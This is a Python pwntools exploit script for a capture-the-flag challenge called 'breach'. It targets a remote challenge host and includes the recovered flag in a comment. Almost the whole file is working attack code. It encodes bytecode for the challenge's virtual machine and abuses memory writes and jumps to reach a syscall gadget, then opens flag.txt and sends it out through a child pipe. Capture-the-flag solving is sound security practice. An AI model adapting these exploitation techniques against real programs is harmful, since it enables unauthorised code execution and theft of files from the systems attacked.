exploit.py

#!/usr/bin/env python3

from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('breach_patched')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

host = args.HOST or 'mc.ax'
port = int(args.PORT or 31618)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)



# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled
# RUNPATH:  b'.'


# dice{th4nk_y0u_for_expl0it1ng_my_3xpl0it_:)}


def mov_imm(r, imm):
    return bytes((1 | (r << 4),)) + p64(imm)

def mov_reg(r1, r2):
    return bytes((2, r1 | (r2 << 4)))

def add(r1, r2):
    return bytes((3 | (0 << 4), r1 | (r2 << 4)))

def sub(r1, r2):
    return bytes((3 | (1 << 4), r1 | (r2 << 4)))
    
def mov_to_mem(r1, r2):
    return bytes((4, r1 | (r2 << 4)))

def mov_from_mem(r1, r2):
    return bytes((5, r2 | (r1 << 4)))    

def jump_imm(imm):
    return bytes((7,)) + p64(imm)

def print_reg(r):
    return bytes((10, r))
    
def halt():
    return bytes((0, ))
    
def call(in_payload, addr):
    ret = len(in_payload)+9+2+9+2+9
    payload = mov_imm(0, 8)
    payload += sub(15, 0)
    payload += mov_imm(0, ret)
    payload += mov_to_mem(15, 0)
    payload += jump_imm(addr)

    assert len(payload) + len(in_payload) == ret
    return payload

def syscall(payload):
    return call(payload, 0x2353)

def full_payload():
    payload = b'A'*8
    
    ###
    # read( child, &mem[0], 100 )
    payload += mov_imm(8, 0) # SYS_read
    
    # fd = child pipe
    payload += mov_imm(0, 0x2018)
    payload += mov_from_mem(9, 0)
    
    # buffer = &mem[0x0000]
    payload += mov_imm(10, 0x4060) # &mem[0x0000]
    payload += add(10, 3) # + exe base
    
    # count
    payload += mov_imm(11, 100)

    payload += syscall(payload)

    ##
    # puts( &mem[0] )
    payload += mov_imm(8, 1) # SYS_write
    payload += mov_imm(9, 1) # stdout
    
    # buffer = &mem[0x0000]
    payload += mov_imm(10, 0x4060) # &mem[0x0000]
    payload += add(10, 3) # + exe base

    # count
    payload += mov_imm(11, 100)
    
    payload += syscall(payload)
    
    payload += halt()
    
    child_start = len(payload)
    
    ###
    # open('flag.txt', 0, 0 )
     
    # store 'flag.txt\x00' in mem[0]
    payload += mov_imm(0, u64(b'flag.txt'))
    payload += mov_imm(1, 100)
    payload += mov_to_mem(1, 0)
    payload += mov_imm(0, 100)
    payload += mov_imm(1, 8)
    payload += mov_to_mem(1, 0)
    
    payload += mov_imm(8, 2) # SYS_open
    
    # filename = &mem[0]
    payload += mov_imm(9, 0x4060+100) # &mem[0x0000]
    payload += add(9, 3) # + exe base
    
    payload += mov_imm(10, 0) # flags
    payload += mov_imm(10, 0) # mode
    
    payload += syscall(payload)
    
    
    ###
    # sendfile( child, flag_file, 0, 100 )
    payload += mov_reg(10, 8) # in_fd

    payload += mov_imm(8, 40) # SYS_sendfile
    
    # out_fd = pipe
    payload += mov_imm(0, 0x2010)
    payload += mov_from_mem(9, 0)
    
    payload += mov_imm(11, 0)   # offset
    payload += mov_imm(12, 100) # size
    
    payload += syscall(payload)
    
    payload += halt()
    
    assert len(payload) < 0x40b
    
    payload += b'B' * (0x40b - len(payload))

    assert len(payload) == 0x40b # child_loop
    
    payload += jump_imm(child_start)
    
    print('payload length', len(payload))
    return payload

        

def initial_payload():
    # Payload to get a larger buffer
    # assuming r0 ix 0x8 -- it gets set to 0 from the pervious ret
    payload = b'A' * 0x28
    payload += mov_imm(14, 0x02020)
    payload += mov_from_mem(14, 14)
    payload += mov_imm(8, 0x1e83)   #address where the size of the read is within the parent
    payload += add(8, 14)
    payload += sub(15, 0)
    payload += mov_to_mem(15, 0)
    payload += sub(15, 0)
    payload += mov_imm(9, 0x1e34)   # size to read and get_flag addr
    payload += mov_to_mem(15, 9)
    payload += jump_imm(0x2417)
    assert len(payload) < 0x60
    return payload


io = start(['breach.bin'])
io.sendlineafter(b'Flag', initial_payload())
io.sendlineafter(b'Flag', b'')
io.sendlineafter(b'Flag', full_payload())
io.sendlineafter(b'Flag', b'')
print(io.recvall())
io.wait()